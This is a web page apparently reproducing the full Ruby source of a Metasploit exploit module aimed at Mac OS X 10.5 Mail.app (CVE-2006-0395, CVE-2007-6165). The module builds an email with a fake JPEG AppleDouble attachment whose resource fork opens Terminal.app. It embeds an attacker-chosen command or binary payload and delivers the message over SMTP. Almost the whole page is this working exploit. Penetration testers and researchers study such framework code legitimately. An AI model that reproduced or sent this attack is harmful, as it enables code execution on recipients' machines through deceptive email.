Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/email/mailapp_image_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver12include Msf::Exploit::EXE1314def initialize(info = {})15super(update_info(info,16'Name' => 'Mail.app Image Attachment Command Execution',17'Description' => %q{18This module exploits a command execution vulnerability in the19Mail.app application shipped with Mac OS X 10.5.0. This flaw was20patched in 10.4 in March of 2007, but reintroduced into the final21release of 10.5.22},23'License' => MSF_LICENSE,24'Author' => ['hdm', 'kf'],25'References' =>26[27['CVE', '2006-0395'],28['CVE', '2007-6165'],29['OSVDB', '40875'],30['BID', '26510'],31['BID', '16907']32],33'Stance' => Msf::Exploit::Stance::Passive,34'Payload' =>35{36'Space' => 8192,37'DisableNops' => true,38'BadChars' => "",39'Compat' =>40{41'ConnectionType' => '-bind -find',42},43},44'Platform' => %w{ unix osx },45'Targets' =>46[47[ 'Mail.app - Command Payloads',48{49'Platform' => 'unix',50'Arch' => ARCH_CMD,51'PayloadCompat' => {52'RequiredCmd' => 'generic perl ruby bash-tcp telnet',53}54}55],56[ 'Mail.app - Binary Payloads (x86)',57{58'Platform' => 'osx',59'Arch' => ARCH_X86,60}61],62[ 'Mail.app - Binary Payloads (ppc)',63{64'Platform' => 'osx',65'Arch' => ARCH_PPC,66}67],68],69'DisclosureDate' => '2006-03-01'70))7172end7374def autofilter75false76end7778def exploit7980exts = ['jpg']8182gext = exts[rand(exts.length)]83name = rand_text_alpha(5) + ".#{gext}"84data = rand_text_alpha(rand(32)+1)8586msg = Rex::MIME::Message.new87msg.mime_defaults88msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)89msg.to = datastore['MAILTO']90msg.from = datastore['MAILFROM']9192dbl = Rex::MIME::Message.new93dbl.header.set("Content-Type", "multipart/appledouble;\r\n boundary=#{dbl.bound}")94dbl.header.set("Content-Disposition", "inline")9596# AppleDouble file version 297# 3 entries - 'Finder Info', 'Real name', 'Resource Fork'98# Real Name matches msf random generated 5 character name - (I cheated ala gsub)99100resfork =101"AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAAAkAAAACAAAA\r\n" +102"UQAABToAAAAAAAAAAAAASGVpc2UuanBnAAABAAAABQgAAAQIAAAAMgAAAAAAAAAAAAAAAAAAAAAA\r\n" +103"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +104"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +105"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +106"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQA\r\n" +107"AAAlL0FwcGxpY2F0aW9ucy9VdGlsaXRpZXMvVGVybWluYWwuYXBwAOzs7P/s7Oz/7Ozs/+zs7P/s\r\n" +108"7Oz/7Ozs/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/5ubm/+bm5v/m5ub/5ubm/+bm\r\n" +109"5v/m5ub/5ubm/+bm5v/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/6enp/+zs7P/s7Oz/7Ozs\r\n" +110"/+zs7P/s7Oz/7Ozs/+zs7P/s7Oz/7+/v/+/v7//v7+//7+/v/+/v7//v7+//7+/v/+/v7//z8/P/\r\n" +111"8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/2\r\n" +112"9vb/+Pj4//j4+P/4+Pj/+Pj4//j4+P/4+Pj/+Pj4//j4+P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8\r\n" +113"/P/8/Pz//Pz8////////////////////////////////////////////////////////////////\r\n" +114"/////////////////////6gAAACoAAAAqAAAAKgAAACoAAAAqAAAAKgAAACoAAAAKgAAACoAAAAq\r\n" +115"AAAAKgAAACoAAAAqAAAAKgAAACoAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAAwAAAAAA\r\n" +116"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +117"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +118"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +119"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +120"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +121"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +122"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +123"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +124"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +125"AAAAAQAAAAUIAAAECAAAADIAX9CsEsIAAAAcADIAAHVzcm8AAAAKAAD//wAAAAABDSF8" + "\r\n"126127fork = Rex::Text.encode_base64( Rex::Text.decode_base64(resfork).gsub("Heise.jpg",name), "\r\n" )128129cid = "<#{rand_text_alpha(rand(16)+16)}@#{rand_text_alpha(rand(16)+1)}.com>"130131cmd = ''132133if (target.arch.include?(ARCH_CMD))134cmd = Rex::Text.encode_base64(payload.encoded, "\r\n")135else136bin = generate_payload_exe137cmd = Rex::Text.encode_base64(bin, "\r\n")138end139140141dbl.add_part(fork , "application/applefile;\r\n name=\"#{name}\"", "base64", "inline;\r\n filename=#{name}" )142dbl.add_part(cmd , "image/jpeg;\r\n x-mac-type=0;\r\n x-unix-mode=0755;\r\n x-mac-creator=0;\r\n name=\"#{name}\"", "base64\r\nContent-Id: #{cid}", "inline;\r\n filename=#{name}" )143144msg.parts << dbl145146send_message(msg.to_s)147148print_status("Waiting for a payload session (backgrounding)...")149end150end151152153